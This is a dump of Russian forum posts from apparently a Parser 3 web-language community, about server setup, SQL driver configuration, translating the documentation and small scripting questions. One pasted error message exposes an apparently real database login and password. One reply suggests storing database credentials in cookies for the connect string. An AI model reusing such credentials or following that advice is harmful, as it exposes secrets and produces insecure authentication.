Плюч есть отдельные функции, загрузить файл в определенное место, редактировать файл (любой) и т.д. и т.п.\
\
Вопросы?:)\
"
"8113","И так появился раздел, [url=\"http://www.parser.ru/docs/comments/\"]комментарии к документации[/url] где можно посмотреть перевод статей на английский язык!!!!\
\
Присоединяйтесь…\
"
"8114","переводчикам дружное ура!\
текста ~300K, так что дружными усилиями это сделать вполне реально.\
пишите plain текст, не заморачивайтесть.\
\
нужно согласовать термины, сделайте это в ответах на это письмо, пожалуйста?"
"8117","telnet localhost 80\
GET / HTTP/1.1\
host:localhost\
\
и пришлите ответ?"
"8118","а bbedit уже научили понимать синтаксис парсера?"
"8119","То лучше смотреть в логи апача, там, как правило можно увидеть причину.\
Если нужна помощь, ася #995520, или на мыло."
"8120","создал три файла:\
1 sections.cfg :\
section_id	name	uri\
1	КОРЕНЬ 	/\
2	НОВОСТИ	/news/ \
3	КОНТАКТ	/contacts/\
4	ЦЕНЫ	/price/\
5	ГОСТ.КНИГА	/gbook/ \
------------\
2 AUTO.P :\
@navigation[] \
$sections[^table::load[sections.cfg]] \
<table width=\"100%\" border=\"1\"> \
   <tr> \
   ^sections.menu{ \
      <td align=\"middle\"> \
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
      </td> \
   } \
   </tr> \
</table> \
----------\
И ТРЕТИЙ INDEX.HTML:\
<html>\
<head>\
	<title>Untitled</title>\
</head>\
\
<body>\
^navigation[] \
</body>\
</html>\
----------------\
При запуске последнего в браузере только :\
^navigation[] \
\
Как мне быть? Помогите, плз."
"8123","[i]Lifesource[/i], можно честно? Я ткнулся в первую же страницу перевода - http://www.parser.ru/docs/lang/how2read.htm#comments - и мне поплохело. Качество перевода [b]лично меня[/b] не устраивает категорически - это \"смесь француского с нижегородским\". Носителя языка от такого текста скривит - то есть он оценит старания, но прочитать больше страницы не сможет. Просто не станет этого делать.\
\
Впрочем, тебе виднее...\
\
P.S. Чтобы не создалось впечатления, что де вот, пришёл, обосрал и ушёл держи то, что я напереводил тут сходу (не судите строго, что сделал за три минуты, то и вышло, не полировал, не чистил...)\
\
\
[b]How to use this manual[/b]\
\
[i]This manual consists of three parts:\
\
The first one explains in a few simple lessons how Parser can be used in solving the usual web development tasks. We will show you how to use the basic features of the language and its basic constructions by the example of the small educational website.\
\
You can use your favorite text editor to write Parser code. It is recommended to use an editor, which supports bracket auto completion, because while the amounts of the code you write will grow, it will be hard to check every pair of brackets – this feature will significantly facilitate your work. HTML code highlighting feature is also recommended – it will help you to read the code much faster and easier.\
\
The introductory part of the manual is divided into few simple “lessons”, each of them includes the fully functional code that can be copied and used on the working example website. The logic of the code and the operators used are explained. At the end of each lesson all important facts, that were given in the lesson, will be repeated; the tasks, that require increased attention will be underlined. If you will carefully follow all of these lessons, it will give you all the necessary fund of knowledge for the further work.\
\
Second part of this manual explains how to use the basic constructions of the language; the ways of using different Parser operators are explained.\
\
The third part of this manual includes the full syntax reference grouped by the basic Parser classes, which explains the usage of each Parser operator with the easy-to-understand examples. \
\
The appendixes to this manual describe how to install and configure Parser on Apache, IIS and other web servers for different platforms.[/i]\
"
"8124","я тоже перевел 1-й урок, послал его ПАФ'у он его завернул на правку, - там и вправду если присмотреться много горбух, так что стоит десять раз перечитать перевод прежде чем народу его показывать, - закидают какашками :)."
"8125","предлагаю обсуждать подобное прямо там, в комментариях."
"8126","Вот хвост логов, я имею к ним доступ с задержкой в полдня. там отражены все эксперименты в перемешку с попытками\
посетителей зайти на лежащий сайт :). Как уже говорил, ничего указывающего на причину неработы парсера я не нашел, так что привожу все скопом. http://www.transplantation.ru/logs.zip (~17k)\
\
на остальные вопросы - если парсеровский *.cgi не пускается как же он тогда на себя определение unhandled exception\
из ГКФ перехватывает (например, когда sql в ГКФ включаю, которого на моем тарифном плане нет)? (unix практически не знаю)\
\
где взять исходник с grpunlim чтобы скомпилировать под linux? Уже спросил у авторов \"постингов из конфы про freebsd\". Пока ничего.\
"
"8128","Подскажите уважаемые, имеет место вот такая ерунда, привожу код:\
1.index.html\
^load[]\
^show_messages[]\
\
2. index2.html\
^loadb[]\
^show_messages_body[]\
\
3. auto.p полностью\
\
@auto[]\
$connect_string[mysql://xxx:xxx@localhost/forum] \
\
@dbconnect[code] \
^connect[$connect_string]{$code} \
\
####################################\
#Выборка списка тем                #\
####################################\
@load[] \
^dbconnect{ \
   $messages[^table::sql{select forum_message_id, author, email, dt_published, title from forum_message}] \
} \
\
####################################\
#Вывод списка сообщений#############\
####################################\
@show_messages[] \
<table border=\"1\" width=\"100%\">\
  <tr>\
    <th width=\"15%\">Автор, дата</td>\
    <th width=\"5%\">Re:</td>\
    <th width=\"80%\">Список тем</td>\
  </tr>\
^messages.menu{\
  <tr>\
    <td width=\"15%\"><A HREF=\"mailto:$messages.email\">$messages.author</A><br>$messages.dt_published</td>\
    <td width=\"5%\">&nbsp</td>\
    <td width=\"80%\"><A HREF=\"http://forum/index2.html?$messages.forum_message_id\">$messages.title</a></td>\
 </tr>\
}\
</table>\
 \
\
####################################\
#Cообщения для темы#################\
####################################\
@loadb[] \
$id[$request:query]\
^dbconnect{$messagesbody[^table::sql{\
select forum_message_body.author, forum_message_body.email, forum_message_body.dt_published, forum_message_body.message_body from forum_message_body}]} \
\
\
@show_messages_body[] \
<table border=\"1\" width=\"100%\">\
  <tr>\
    <th width=\"20%\">Автор, дата</td>\
    <th width=\"80%\">Список тем</td>\
  </tr>\
^messagesbody.menu{\
  <tr>\
    <td width=\"20%\"><A HREF=\"mailto:$messagesbody.email\">$messagesbody.author</A><br>$messagesbody.dt_published</td>\
    <td width=\"80%\">$messagesbody.message_body</td>\
 </tr>\
}\
</table>\
\
Так вот при обращении к index.html нормально подключается и показывает страницу, при обращении index2.html пишет:\
f:/home/forum/www/auto.p(2): 'mysql://kubanfisher:diamondsw@localhost/forumfish' $SQL:drivers table must be defined  type: parser.runtime\
\
Ткните носом в ошибку.\
P.S. Я не волшебник я только учусь :)\
"
"8129","Да все это винды 2000 и денвер. Заранее спасибо за ответ."
"8130","1. Не собирается. Попытки не прекращаются, но положительных результатов пока нет.\
2. Нет. Надо писать свой language-модуль, на что просто нет ни времени ни желания."
"8131","stoyal u menya Parser na Apache. Sdelal ya site. Dumayu, day proveryu Parser pod IIS. Ustanovil IIS(vse eto na localnoy mashine). Delayu kak po instruktsii - no v razdele \"Home Directory\"->\"Configuration\"->\"Add\" knopka \"OK\" - disabled!!! Ne mogu ponyat - pochemu! Ya na mashine - admin! Ustanavlival po sviom account'om - i vse ravno - disabled! Chto eto takoe?"
"8133","В конфигурационном файле auto.p прописал:\
...\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	E:\\Apache\\Apache\\cgi-bin\\lib\\parser3mysql.dll	E:\\Apache\\Apache\\cgi-bin\\lib\\libmySQL.dll\
...\
Файлы все лежат на своих местах. \
Может еще что-нибудь настроить?"
"8134","valuehost.ru - мы о нем уже говорили:)"
"8135","V auto.p, glavnom konfige, ne propisani, ili propisani oshibochno SQL-driveri... Nuzhno nemnogo povnimatelney bit..(mne zdes tak sovetovali).:) Prishli kod konfiga - zdes obosnuyut..."
"8137","спасибо за ответы\
мак подойдёт - собиру нафик парсера этого ;))))) сообщу о резалтах...\
с bbedit... плохо, очень мне он понравился....\
буду разбираться как там они пишуться...\
еще раз - спасибо."
"8138","Для товара в каталоге необходимо его детальное описание открывать в новом окне, как задать размер и убрать лишние элементы окна?\
Заранее спасибо ;) "
"8139","если кому не сложно - кинте мне на мыло конфиг для P2 под UltraEdit."
"8140","Я перевел главу про table, если не затруднит, хотел бы услышать комментарии \"по поводу\"... Адрес статьи -- \
\
http://ramesses.narod.ru/parser_tr/table.htm\
\
Комментарии просьба присылать на ramesses@yandex.ru (дабы в форуме не мусорить...)"
"8141","...перевел вступительную статью и бросил ее в раздел \"How to read\" вместо \"Introduction\"...\
\
Создателям форума: удалить пожалуйста текст intro из how to read.\
\
http://www.parser.ru/docs/lang/intro.htm#comments\
\
"
"8142","Или читай тут:\
http://msdn.microsoft.com/workshop/author/dhtml/reference/methods/open_0.asp"
"8144","Согласование терминов -- дело хорошее, только, за один присест сделать не получится -- потому, как вопросы возникают (и будут возникать) только по ходу перевода. А пока суд да дело, тред уйдет \"в пучину\".\
\
А вообще -- термины основные даны уже в самих названиях классов, методов и т.д.\
\
Но идея, все равно хорошая.\
===========================\
\
пока тред еще видно -- помогите разобраться с термином offset -- переводы на русский (с точки зрения программинга) -- особенно хорошо, если в сочетаниях -- ежели такие имеются.\
\
Заранее спасибо"
"8145","называется Яndex.Lingvo. ;-)\
http://lingvo.yandex.ru/cgi-bin/lingvo.pl?CardId=Sb2Zmc2V0;L0F"
"8146","[url=\"http://lingvo.yandex.ru/cgi-bin/lingvo.pl?CardId=Sb2Zmc2V0;L0F\"]находится тут[/url]"
"8147","Народ, а как с хостингом под это дело?\
Кто поддерживает?"
"8149","[url=\"./?id=6856\"]* почему не работает, Sipp [19.09 01:26][/url]"
"8150","в конфигурационном файле ничего про mysql менять не нужно. Настройки по умолчанию должны работать при условии, что файлы parser3.exe, auto.p, и директории lib/, charsets/ (с соответствующими файлами) находятся на одном уровне. "
"8151","Если бы вообще не работало было бы понятно, но ведь когда вызывается index.html все нормально отрабатывает. Ниже конфигурационный auto.p:\
\
##\
## Basic configuration.\
##\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/parser3.charsets]\
$sqldriversdir[$confdir]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
# change your client libraries paths to those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/parser3mysql.dll	$sqldriversdir/libmySQL.dll\
odbc	$sqldriversdir/parser3odbc.dll\
pgsql	$sqldriversdir/parser3pgsql.dll	$sqldriversdir/libpq.dll\
oracle	$sqldriversdir/parser3oracle.dll	c:\\Oracle\\Ora81\\BIN\\oci.dll?PATH+=^;C:\\Oracle\\Ora81\\bin\
}]\
]\
# for ^file::load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::set{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
$MAIL[\
	$.SMTP[smtp.domain.ru]\
]\
##\
## Default encodings.\
## ATTENTION: if you work with windows-1251 encoding, please DO NOT \
## modify these settings.\
##\
@auto[]\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
##\
## SQL connect string examples.\
##\
#$SQL.connect-string[mysql://user:pass@host/db?charset=cp1251_koi8]\
#$SQL.connect-string[pgsql://user:pass@host/db]\
#$SQL.connect-string[oracle://user:pass@service?NLS_LANG=RUSSIAN_AMERICA.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS]\
#$SQL.connect-string[odbc://DSN=datasource^;UID=user^;PWD=password]\
##\
## Error handling templates.\
##\
\
@fatal_error[title;body]\
$response:status(500)\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
<html>\
<head><title>$title</title></head>\
<body>\
<H1>$title</H1>\
$body\
#for [x] MSIE friendly\
^for[i](0;512/8){<!-- -->}\
</body>\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception (Debug);\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.source){\
<b>$exception.source</b><br>\
<pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre>\
}\
^if(def $exception.type){exception.type=$exception.type}\
^if($stack){\
	<hr>\
	^stack.menu{\
		<tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
	}\
}\
]\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception;\
\
<p>The server encountered an unhandled exception \
and was unable to complete your request.</p>\
<p>Please contact the server administrator, $env:SERVER_ADMIN\
and inform them of the time the error occurred, \
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
]\
@unhandled_exception[exception;stack]\
^unhandled_exception_debug[$exception;$stack]\
\
"
"8152","Уважаемый PAF и создатели ФОРУМА!\
\
Есть предложение по модернизации форума: принимая во внимание, что появился еще один основной топик форума \"перевод на англ. документации\" предлагаю вынести его в отдельный блок на этом форуме. К примеру, создать слева ссылку на \"Форум по переводу\". \
\
В целом же у меня такое предложение: в виду того, что Парсер используют все больше и больше народу, разбить форум на несколько основных топиков, при этом особо не дискриминируя по знаниям (т.е. не разделять топики по сугубо профессиональным навыкам). \
\
С уважением.\
Baurjan."
"8153","может опишите процедуру установки, если имеет какие-то особенности? добавим в наш раздел."
"8154","на русский? вроде бы мы в другую сторону переводим?\
или для понимания? \
the offset — сдвиг\
to offset — сдвинуть\
\
to offset current table record# by 1 call ^table.offset(+1)"
"8155","Tak u tebya\
[quote]\
$SQL[\
.$.drivers[^table::set{protocol.driver.client\
mysql.$sqldriversdir/parser3mysql.dll.$sqldriversdir/libmySQL.dll\
odbc.$sqldriversdir/parser3odbc.dll\
pgsql.$sqldriversdir/parser3pgsql.dll.$sqldriversdir/libpq.dll\
oracle.$sqldriversdir/parser3oracle.dll.c:\\Oracle\\Ora81\\BIN\\oci.dll?PATH+=^;C:\\Oracle\\Ora81\\bin\
}]\
]\
[/quote]\
A tak nado\
[code]\
$SQL[\
$.drivers[^table::set{protocol  driver  client\
mysql       $sqldriversdir/parser3mysql.dll       $sqldriversdir/libmySQL.dll\
odbc       $sqldriversdir/parser3odbc.dll\
pgsql        $sqldriversdir/parser3pgsql.dll       $sqldriversdir/libpq.dll\
oracle        $sqldriversdir/parser3oracle.dll        c:\\Oracle\\Ora81\\BIN\\oci.dll?PATH+=^;C:\\Oracle\\Ora81\\bin\
}]\
]\
[/code]"
"8156","Исправления и комментарии мне мылом. Внес исправления указанные ПАФ'м в первоначальную редакцию и сделал несколько других изменений."
"8157","мне надо было просто разобраться с термином указатель -- я его поначалу перевел как offset... -- а потом почувствовал, что путаница какая-то получается..."
"8158","Есть табличные данные в виде xml:\
<table name=\"products\">\
 <row key=1>\
  <column name=\"id\">23</column>\
  <column name=\"product\">bla</column>\
 </row>\
 <row key=2>\
  <column name=\"id\">45</column>\
  <column name=\"product\">yo</column>\
 </row>\
</table>\
(информация может иметь разную длину, например название продукта может быть раной длины)\
вопрос: как эту информацию с помощью xsl вывести в виде таблицы в текстовый файл. В HTML понятно мона форматировать с помощью тэгов, а тут.....?\
Пасиба за любые варианты!"
"8159","Я там намылил давеча -- насчет просмотра раздела offset на http://ramesses.narod.ru/parser_tr/table.htm... беспокоит он меня чегой-то..."
"8160","и попробовать самому сначала, и если не получится то задавать вопросы тут. Вы же даже не пытались решить эту задачу и просите чтобы за вас написали код, - тут этим обычно не занимаются, но дельные советы по написанию дают."
"8161","лучше так:\
\
http://ramesses.narod.ru/parser_tr/table.htm"
"8162","если форматирование важно, давать в тексте ссылку на место, где отформатировано.\
чтобы всё было вместе/ясно, что было переведено, что только начато, а что ещё не.\
\
я в течении года вычитывал каждую статью по-русски 6 раз, и немного устал от текстов. поэтому предлагаю сообществу почитать, и написать свои отзывы о переведённом там же, в комментариях к статьям."
"8163","я не прошу писать код, хочу знать есть ли вообще возможность отформатировать текст с помощью XSLT в нужном мне виде.\
сорри если из контекста вопроса этого не видно.\
сложность моей задачи состоит в том что требуется не просто в текст повставлять значения xmlных элементов и атрибутов, а оформить их в табличном виде(если б в HTML - без проблем). при этом ширина таблицы ограничена(шириной формата А4). Отсюда следует перенос некоторых значений на новую строку в определенной ячейке. Вообщем что то типа:\
-----------------------------------\
|    productId       |   product  |\
-----------------------------------\
|    56              | superpuperg|\
|                    |iperproduct |\
-----------------------------------\
...................................\
\
P.s. Об XSLT представление имею, практическое."
"8164","Ты будешь удивлен но в конфиге написано именно так как сказал ты, то есть точки нет и в помине, я перерпроверил несколько раз. Тем более я так понимаю если бы точка была оно бы не отрабатывало вообще, но ведь работает при запуске index.html, а при запуске index2.html выкидывает эту ошибку. :((("
"8165","если все так, как ты описАл - тогда я понятия не имею, в чем может быть твоя проблема. Пробуй методом научного тыка - создай новую БД, внеси туда пару строк, и попробуй их оттуда вытянуть Парсером. Если работает - значит где-то у тебя в старом (неработающем) коде трабл. Если нет - тогда... тогда незнаю...:)))... Поменяй каталог ЭСКУЭЛ-драйверов, при этом не забудь сделать соответствующие изменения в авто. р... Дерзай - сквозь терни - к звездам!"
"8166","Почему у меня кнопка “Добавить” - неактивна?! &#304;то там, где добавить Па&#287;се&#287;. Дела&#351; все, как в инст&#287;укции - захожу в “Домашняя ди&#287;екто&#287;ия”->“Наст&#287;ойки”->“Добавить” - вывожу Па&#287;се&#287; - пишу &#287;асши&#287;ение - а кнопка “О К” - неактивна! Не могу добавить Па&#287;се&#287;! "
"8167",":((( Может весь затык в денвере... "
"8168","такой момент как, то что при вставлении такого кода в тег ссылки (<A>) создаваемой парсером и находящейся в таблице опять же создаваемой парсером.. таблица просто разъежается.."
"8169","я вообще таким “делам” не дове&#287;я&#351;. Я все сам устанавлива&#351; - Свой Апаче, свой &#304;СКУ&#304;Л, свой па&#287;се&#287; со своими библиотеками - и все &#287;аботает... я не дума&#351;, что п&#287;облема в пакете. П&#287;осто гл&#351;к системы. Поп&#287;обуй, как я тебе советовал..."
"8170","все четко по инструкции."
"8172","Не так давно накопал в инете сравнение быстродействия связок различных серверов (IIS/Apache/Resin c Perl/mod_perl/PHP к MySQL/Oracle/....).[http://www.softerra.ru/review/internet/20814/]\
А кто-нибудь пробовал сравнить Parser с чем-либо другим по быстродействию?\
(Не наезжаю, просто интересно ;-)\
"
"8173","Доброе время суток.\
Скачал себе парсер3 (в составе Денвер'а - базовый пакет). По известному мануалу сделал пример новостей/гостевой книги. Проблема: файл auto.p не живет ни в каком каталоге, кроме корня виртуального хоста. При добавлении в любой вложенный каталог, находящийся там index.html перестает работать. Копирую функции в корневой auto.p, удаляю из текущего - все работает. Может, подскажете, из-за чего может быть такая беда? Или это апачик подстроить надо?"
"8174","Но даже в видимых по-умолчанию 15 сообщениях - 4 о проблемах с денвером.\
Не сигнал ли это к тому, что надо просто взять файлы с нашего сервера?"
"8175","Что мешает не пользоваться HTML-тэгами, писать все шрифтом CourierNew или Monaco и пользовать строковые функции XSLT (substring, string-length) для разбиения?"
"8178","ОК. Примем во внимание :-)\
То есть, я, конечно могу запостить все конфиги, но, IMHO, это не здорово. Просто интересен был Денвер. Все равно Apache и Perl отдельные, свежие стоят. Итак, обратимся к первоисточнику ;-)"
"8179","Эт панятно, а перенос значения, если оно больше ширины колонки, на новую строку? \
В принципе и это мона как то, но после ХТМЛ ного подхода где тока TD и TR понаставил - и все, такие алгоритмы кажутся извратом. Надеялся что есть КАКОЙ тО более простой вариант. Ну нэт так нэт - будем извращаться :)\
"
"8180","уверен, дело не в Денвере"
"8182","Для начала попробуй разобраться, не влияет-ли на ошибку содержимое? (например, не закрыл где-нить скобку, или закрыл не правильно, и парсер пытается отработать так, как ему кажется правильно) - для этого в самом простом случае возьми код index2.html в ^rem{} напиши там просто буковки и пусти. Если лыжи поедут - копируй из index.html код в index2.html не убирая rem и пускай.\
\
Так-же можешь скачать из раздела download/utils test.zip и пускануть его в своей системе - может он найдет что... (когда бушь тестировать закоментируй @postprocess[])\
\
О результатах пиши - бум демать дальше вместе."
"8183","Вот пример кода:\
^tabl.menu{ \
  <tr>\
   <td>$tabl.id</td>\
   <td>$tabl.city</td>\
   <td>\
     <input name=\"sel\" type=\"radio\" onClick='setenv   (\"$tabl.id\",\"$tabl.city\");'>\
   </td>\
</tr>\
}\
\
Сама таблица создается методом sql, в таблице 250 записей.\
Все время выдает разные ошибки, на строке с setenv, номер строки все время разный, периодически валит всякие непереваримые символы.\
Может это и IE глючит конечно, но без строки input все нормально.\
В чем дело?\
Заранее спасибо."
"8184",".. здесь кнопка, а мне нужна ссылка, чтобы и на фото и на названии работала.. :((("
"8185","Тут onClick=\"\" к кнопке привинчивается, а у тебя будет к ссылке..."
"8186","у table.menu два параметра:\
первый - что менюшим (до \";\")\
второй - разделитель (после \";\")\
найди \";\" в коде и подумай как исправить"
"8187","парсер съел \";\" и выдает: 'menu' method of table (table) accepts maximum 2 parameter(s) [parser.runtime]"
"8188","Я тоже думаю, что не в Денвере ;-) Скорее всего, в руках :-)\
Вопрос в том, что заявлялась полная автоматическая настройка при инсталляции, а не работает ;-)\
Как говорится, если программа работает не так, как описано в документации, еще не понятно, где ошибка. Хотя, в этом случае, надеюсь, не в документации."
"8190",":)))) спасибо утешили, нашел, зато 2 дня занимался изучением разных технологий!!!"
"8191","А вот такую белиберду:\
салехардRCRD( сХ3  ЬЂ?гХ3 єФВcВяя\\?ґа 8dђјиєФ@lVФ3 hzО3 …О3 —Т3 ђУ3 ёp?И#Г iФ3 0@((ј53~uФ3 iФ3 iФ3 8@ (0xKq'q' єФД щ Д Ѓ‚Ф3 uФ3 uФ3 X@ (@xq'q' Р Н Н Н Н“Ф3 ‚Ф3 ‚Ф3 ?@(8`8ё*уH‡ўщ8tВ@єщ8tВ@єщ8tВ@єщ8tВР Н \
\
ТОЖЕ скажете из за разделителя, или такой глюк как вложеные друг в друга корневой auto.p?"
"8192","и что это вов всех .html'ях птичку садить на все эти знаки?? у меня в других местах работало.. \
т.е. все эти знаки не относящиеся к парсеру заптичевать??"
"8193","Зато честно! \
У меня тут Ниж. Новгород в 300 километрах, да ещё поблизости есть диалект на котором говорят как без пЯтнадцати-пЯтнадцать!!! \
\
Ты знаешь…, вот почему вас нужно всегда провоцировать? Вот если знаешь язык ну потрать ты полчасика времени напиши перевод, а уж если  у тебя за 3 минуты получается, да так ладненько, то вообще….\
Ведь пользуем технологию на халяву… почему бы не заплатить хоть таким способом за работу людей…?\
Наверное это русская любовь к халяве…. \
"
"8194","^tabl.menu{ \
<tr>\
<td>$tabl.id</td>\
<td>$tabl.city</td>\
<td>\
<input name=\"sel\" type=\"radio\" onClick='setenv (\"$tabl.id\",\"$tabl.city\")[color=\"red\"]^[/color];'>\
</td>\
</tr>\
\
не проверял, но похоже что оно..."
"8195","Да причем здесь эта \";\", не обращайте на нее внимания, уберите ее вообще и все будет работать, ВСЕ кроме parser'а."
"8196","[quote]Ты знаешь…, вот почему вас нужно всегда провоцировать? Вот если знаешь язык ну потрать ты полчасика времени напиши перевод, а уж если у тебя за 3 минуты получается, да так ладненько, то вообще…[/quote]Эти три минутки были свободными. Теперь я занят. Эта же работа требует много времени и великовата для голого энтузиазма...\
\
[quote]Наверное это русская любовь к халяве…[/quote]Нет. Это как раз демонстрация правильного подхода к своему времени - т.е. оценка его в деньгах..."
"8197","Спасибо, попробую"
"8198","буду пробовать"
"8199","Проблема простая. Есть данные на SQL сервере для всех и не для всех. Ну положим забил я в строку конекта юзера и пароль (auto.p). Пока данные для общего чтения все ок! Но вот данные не для всех, ну ввел юзер пользователя и пароль (в html файле), переопределил я строку конекта и выполнил запрос. Все тут ОК, но в результате запроса у меня табличка и со ссылочками, а сылочку на другую html. А в этой самой другой строка конекта берется из auto.p (т.е. с ограниченными правами)\
Кто может объяснить как лучше организовать доступ?"
"8200","например:\
1. всюду ставить \"птички\"\
2. http://parser.ru/forum/?id=7758\
"
"8201","Unhandled Exception (Debug)\
getting first char of empty string\
\
------------------------------------------------------------------\
if f:/home/forum/www/_test.html(111)\
if f:/home/forum/www/_test.html(105)\
"
"8204","версия 0005, при закоментиравон @postprocess:\
\
Unhandled Exception (Debug)\
regular expression syntax error - unrecognized character follows \\\
usr\\local\\parser3\
\
config(1)\
\
-----------------------------------------------------------------\
match f:/home/forum/www/_test.html(57)\
out_table f:/home/forum/www/_test.html(176)\
\
при незакоментированном:\
\
Unhandled Exception (Debug)\
regular expression syntax error - unrecognized character follows \\\
usr\\local\\parser3\
\
config(1)\
\
----------------------------------------------------------------\
match f:/home/forum/www/_test.html(57)\
\
"
"8205","Но что-то стало понятнее и с твоим случаем:\
я отвалился на строке: $text[^text.match[$sqldriversdir][gi]{^$sqldriversdir}] из-за того, что не была определена переменная $sqldriversdir\
\
Т.к. она у тебя вроде определяется в конфигурационном auto.p - вывод: конфигурационный auto.p не читается (похоже, что иногда...)\
\
_test.html опять поправил... Можешь попробовать скачать и запустить еще раз :)"
"8206","Ошибка выскакивал из-за того ссылка на index.html имела вид .../index.html?число если поставить index.html?любой символ кроме числа=число или просто =число то все работает нормально. Это глюк или так и должно быть?"
"8207","закоментирован:\
\
Unhandled Exception (Debug)\
regular expression syntax error - unrecognized character follows \\\
usr\\local\\parser3\
\
config(1)\
\
----------------------------------------------------------------\
match f:/home/forum/www/_test.html(57)\
if f:/home/forum/www/_test.html(57)\
out_table f:/home/forum/www/_test.html(176)\
\
\
незакоментирован:\
\
Unhandled Exception (Debug)\
regular expression syntax error - unrecognized character follows \\\
usr\\local\\parser3\
\
config(1)\
\
-------------------------------------------------------------------\
match f:/home/forum/www/_test.html(57)\
if f:/home/forum/www/_test.html(57)\
\
Однако после поправки кода моего примера он работае, про ошибку написал выше, но давай дойдем до логического завершения эпопеи с _test.html"
"8208","Похоже что-то не так. Если-бы ты закоментировал верно - ты не попал-бы вообще на 57 строку...\
\
Попробуй так:\
\
@postprocess[body][text]\
\
->\
\
@postprocess1[body][text]\
\
это раз... Два - это я опять не прав :)\
Т.к. я в шаблон подставляю значения переменной, а там они не совсем подходят для шаблона... там есть '\\' и др. символы, которые надо префиксить :)\
\
После обеда починю :)"
"8209","Заработало, закоментировал все строки метода символом # "
"8210","Попробуй хранить юзер,пасс в сессии - и подставлять в строку коннекта из куков."
"8211","Как заставить работать  $response:location[$move_to]\
не берет в качестве параметра переменную , при этом строку прописаную руками запросто :((("
"8212","Делаешь со следующим куском кода Copy->Paste и всё уже почти работает:\
[code]\
<script language=\"JavaScript\">\
<!--\
   function wopen(wurl,wname,w,h)\
    {\
      window.open(wurl,wname,'height='+h+',width='+w+',resizable=0,scrollbars=yes,menubar=no,status=no')^;\
    }\
//-->\
</script>\
\
<a href=\"javascript:wopen('/opros/resultopros.html?$list_Q.idQ','GTopros',700,500)^;\">Результаты</A>\
\
[/code]\
\
Ну кое-что подправишь (url, параметр,имя окна, ширина, высота и т.п.) и всё заработает. Из своей странички выдрал код - дарю. Функцию wopen() можешь править - можно ещё параметров добавить (ну это на усмотрение)."
"8213","Поставил парсер, прописал в .htaccess, но столкнулся вот с каким косяком:\
\
[b]Unhandled Exception (Debug)[/b]\
parser already configured\
[b]conf[/b]\
/home/sites/site933/web/parser/auto.p(1)\
exception.type=parser.runtime\
\
Как все-таки заставить его работать?"
"8214","http:// присутствует?"
"8215","должен присутствовать только в одном auto.p (самом \"главном\")\
проверь:\
- нет ли его в других файлах\
- не вызывается ли он где ручками\
- не вызывается ли через use это самый auto.p"
"8216","Я попробовал - все работает.\
\
А вот если ты это дело как-нить интересно будешь обрабатывать - то очень может быть.\
\
Я в твоем коде не нашел использования этого $id\
\
Хотя по любому, с моей точки зрения параметры лучше передавать не так index.html?12, а так: index.html?id=12 (хотя на вкус и цвет...)\
\
Почему? Да просто парсер не заточен для работы с query, и если ты попытаешься передать так русские буквы - то получишь еще один облом."
"8217","<a href=\"/path/file.ext\" target=\"winName\" onClick=\"wopen('/path/file.ext','winName',xxx,yyy)\">link</a>\
Тогда надежно откроется в новом окне даже при отключенном JavaScript (важно, чтобы путь к файлу и имя окна совпадали в аттрибутах тэга <a> и параметрах функции)"
"8219","Не работает сортировка по фамилии на русском языке. Если ставлю сортировку по AgentID все нормально. В чем проблема. В MySQL???\
[]code\
$inform[^table::sql{\
	SELECT\
		AgentID,\
		FirstName,\
		LastName,\
		PIN\
	FROM\
		Agent\
	ORDER BY\
		LastName\
}]\
[/code]"
"8220","Я просто поставил на сервер парсер и создал пустой index.html, а мне - вот такая ерунда."
"8221","лужниковский же подробно вам сообщил о вашей ошибке, почему вы упорно не читаете совета?\
\
посмотрите внимательно: вы распаковали auto.p и в cgi-bin [b]и в корень вашего вебпространства, в файл /home/sites/site933/web/parser/auto.p[/b], видите там в первой строчке написано @conf[]? так [b]не должно[/b] быть. это и есть тот второй раз, о котором подробно пишет parser."
"8223",">Я попробовал - все работает.\
В таком виде как я выложил?\
\
> вот если ты это дело как-нить интересно будешь обрабатывать - то >очень может быть.\
Даже не обрабатывая дает ошибку :(\
\
>Хотя по любому, с моей точки зрения параметры лучше передавать не >так index.html?12, а так: index.html?id=12 (хотя на вкус и >цвет...)\
Сейчас сделал как id=2 все нормально отрабатывает, наверно так будет правильно так будет хорошо\
\
>Почему? Да просто парсер не заточен для работы с query, и если ты >попытаешься передать так русские буквы - то получишь еще один >облом.\
Буду иметь ввиду. Спасибо за помощь."
"8225","Вот 3 варианта супер-простого кода на Парсере:\
\
вариант №1 - не работает, т.к. переменная $str не определена (пустое значение)\
[code]\
@main[]\
$str[]\
^if(^str.pos[ABC]>0){\
YES	\
}{\
NO	\
}\
[/code]\
\
